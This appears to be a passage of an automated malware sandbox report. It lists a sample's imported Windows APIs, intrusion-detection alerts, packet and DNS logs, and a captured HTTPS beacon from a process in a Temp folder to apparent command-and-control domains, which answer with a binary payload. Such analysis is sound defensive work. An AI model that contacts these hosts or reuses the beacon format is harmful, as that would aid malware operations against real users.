USER32.dll	ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, FindWindowExW, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, IsWindow
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-13T16:25:03.098487+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	89.169.54.153	443	TCP
2025-04-13T16:25:50.179624+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49726	104.21.5.162	443	TCP
2025-04-13T16:25:52.100476+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49727	104.21.5.162	443	TCP
2025-04-13T16:25:53.197917+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49728	104.21.5.162	443	TCP
2025-04-13T16:25:55.215678+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49729	104.21.5.162	443	TCP
2025-04-13T16:25:58.182515+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.5.162	443	TCP
2025-04-13T16:25:59.150068+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.5.162	443	TCP
2025-04-13T16:26:00.242952+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.5.162	443	TCP
2025-04-13T16:26:02.180377+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.5.162	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 13, 2025 16:25:49.932624102 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:49.932660103 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:49.932743073 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:49.935699940 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:49.935709000 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.179536104 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.179624081 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.181179047 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.181185961 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.181585073 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.223261118 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.234558105 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.234592915 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.234648943 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802295923 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802350044 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802392006 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802431107 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802447081 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.802475929 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802490950 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.802552938 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802598000 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802602053 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.802612066 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802664995 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802721024 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.802726030 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.802771091 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.802999020 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.848187923 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.955023050 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.955188990 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.955279112 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.955368042 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.955372095 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.955399990 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.955534935 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.955560923 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.955574036 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.955585957 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.955707073 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956007957 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956065893 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.956072092 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956119061 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.956123114 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956222057 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956331015 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956381083 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.956386089 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956434965 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.956439972 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956875086 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.956959009 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957010031 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.957015991 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957062960 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.957067013 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957165956 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957247019 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957302094 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.957305908 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957355022 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.957359076 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957458973 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.957885981 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.961875916 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.961875916 CEST	49726	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:50.961903095 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:50.961922884 CEST	443	49726	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:51.853230953 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:51.853336096 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:51.853432894 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:51.854304075 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:51.854341984 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.100351095 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.100476027 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.108340025 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.108367920 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.108639956 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.109772921 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.109934092 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.109978914 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.110045910 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.110060930 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.795336962 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.795625925 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.798300982 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.800894976 CEST	49727	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.800941944 CEST	443	49727	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.934976101 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.935065985 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:52.935204983 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.935620070 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:52.935651064 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:53.197751999 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:53.197916985 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:53.199070930 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:53.199098110 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:53.199534893 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:53.201029062 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:53.201149940 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:53.201189995 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:54.872864962 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:54.873199940 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:54.873431921 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:54.876142025 CEST	49728	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:54.876185894 CEST	443	49728	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:54.976952076 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:54.977051020 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:54.977174044 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:54.977448940 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:54.977473974 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.215401888 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.215677977 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:55.217458963 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:55.217510939 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.218017101 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.219149113 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:55.219358921 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:55.219413042 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.219496965 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:55.219513893 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.754838943 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.755139112 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:55.755331993 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:55.755418062 CEST	49729	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:55.755456924 CEST	443	49729	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:57.953046083 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:57.953150988 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:57.953253031 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:57.953557968 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:57.953597069 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.182298899 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.182514906 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.183670998 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.183684111 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.184500933 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.185508013 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.185607910 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.185672045 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.711936951 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.712287903 CEST	443	49730	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.712373018 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.712419033 CEST	49730	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.883362055 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.883464098 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:58.883729935 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.884033918 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:58.884073973 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.149993896 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.150068045 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.151284933 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.151297092 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.151633024 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.152705908 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.152831078 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.152861118 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.695561886 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.695888996 CEST	443	49731	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.695921898 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.695970058 CEST	49731	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.985363960 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.985457897 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:25:59.985826969 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.986182928 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:25:59.986222029 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.242841005 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.242952108 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.244045973 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.244074106 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.244436026 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.245624065 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.246300936 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.246349096 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.246485949 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.246541023 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.246681929 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.246751070 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.246978045 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.247030973 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.247234106 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.247297049 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.247507095 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.247559071 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.247590065 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.247620106 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.247836113 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.247873068 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.247915030 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.249948978 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.250009060 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.288295031 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.290292025 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.290339947 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.290389061 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.290446043 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.290488005 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.290512085 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:00.290561914 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:00.290584087 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:01.931195021 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:01.931552887 CEST	443	49732	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:01.931726933 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:01.931767941 CEST	49732	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:01.934746027 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:01.934794903 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:01.934910059 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:01.935290098 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:01.935309887 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.180200100 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.180377007 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:02.181514978 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:02.181526899 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.181857109 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.183319092 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:02.183356047 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:02.183419943 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.787864923 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.788043022 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.788150072 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:02.788424969 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:02.788444996 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.788463116 CEST	49733	443	192.168.2.4	104.21.5.162
Apr 13, 2025 16:26:02.788471937 CEST	443	49733	104.21.5.162	192.168.2.4
Apr 13, 2025 16:26:02.933846951 CEST	49735	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:02.933932066 CEST	443	49735	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:02.934031963 CEST	49735	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:02.934617996 CEST	49735	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:02.934696913 CEST	443	49735	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:03.147562981 CEST	443	49735	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:03.148114920 CEST	49736	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:03.148147106 CEST	443	49736	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:03.148220062 CEST	49736	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:03.148791075 CEST	49736	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:03.148801088 CEST	443	49736	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:03.374087095 CEST	443	49736	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:03.376761913 CEST	49737	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:03.376852989 CEST	443	49737	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:03.376974106 CEST	49737	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:03.377723932 CEST	49737	443	192.168.2.4	89.169.54.153
Apr 13, 2025 16:26:03.377764940 CEST	443	49737	89.169.54.153	192.168.2.4
Apr 13, 2025 16:26:03.378814936 CEST	49737	443	192.168.2.4	89.169.54.153

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 13, 2025 16:25:14.686952114 CEST	59821	53	192.168.2.4	1.1.1.1
Apr 13, 2025 16:25:14.836693048 CEST	53	59821	1.1.1.1	192.168.2.4
Apr 13, 2025 16:25:49.642154932 CEST	63659	53	192.168.2.4	1.1.1.1
Apr 13, 2025 16:25:49.925471067 CEST	53	63659	1.1.1.1	192.168.2.4
Apr 13, 2025 16:26:02.792335033 CEST	51527	53	192.168.2.4	1.1.1.1
Apr 13, 2025 16:26:02.932816982 CEST	53	51527	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 13, 2025 16:25:14.686952114 CEST	192.168.2.4	1.1.1.1	0xd8da	Standard query (0)	XFctBeCyahiRgTQwoaYNt.XFctBeCyahiRgTQwoaYNt	A (IP address)	IN (0x0001)	false
Apr 13, 2025 16:25:49.642154932 CEST	192.168.2.4	1.1.1.1	0x400	Standard query (0)	vqaliantheart.live	A (IP address)	IN (0x0001)	false
Apr 13, 2025 16:26:02.792335033 CEST	192.168.2.4	1.1.1.1	0xea76	Standard query (0)	h1.mockupeastcoast.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 13, 2025 16:25:14.836693048 CEST	1.1.1.1	192.168.2.4	0xd8da	Name error (3)	XFctBeCyahiRgTQwoaYNt.XFctBeCyahiRgTQwoaYNt	none	none	A (IP address)	IN (0x0001)	false
Apr 13, 2025 16:25:49.925471067 CEST	1.1.1.1	192.168.2.4	0x400	No error (0)	vqaliantheart.live		104.21.5.162	A (IP address)	IN (0x0001)	false
Apr 13, 2025 16:25:49.925471067 CEST	1.1.1.1	192.168.2.4	0x400	No error (0)	vqaliantheart.live		172.67.133.158	A (IP address)	IN (0x0001)	false
Apr 13, 2025 16:26:02.932816982 CEST	1.1.1.1	192.168.2.4	0xea76	No error (0)	h1.mockupeastcoast.shop		89.169.54.153	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vqaliantheart.live

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49726	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:25:50 UTC	267	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 83 Host: vqaliantheart.live
2025-04-13 14:25:50 UTC	83	OUT	Data Raw: 75 69 64 3d 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 26 63 69 64 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: uid=21fe4b9650fe5c4f450232c8b13ebc06e993475e2b&cid=637b55279021aab33278188cfa638397
2025-04-13 14:25:50 UTC	794	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:25:50 GMT Content-Type: application/octet-stream Content-Length: 38913 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qc5BCicf4mT1E215R9Y8ONN1ywO1BzMXA4rFucmlEtEAGUiV4J3uycrYG5MEUGgYajhl9VFt%2Bjk07hs%2Be09e3z0fG%2FLX%2BKm5BCucnyWVWQW5oSOMf5azu0nzjJuc1ehf%2BMTX5bs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba291e9b20c0a-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=113848&min_rtt=112765&rtt_var=25416&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=986&delivery_rate=34793&cwnd=252&unsent_bytes=0&cid=a531581df6540657&ts=640&x=0"
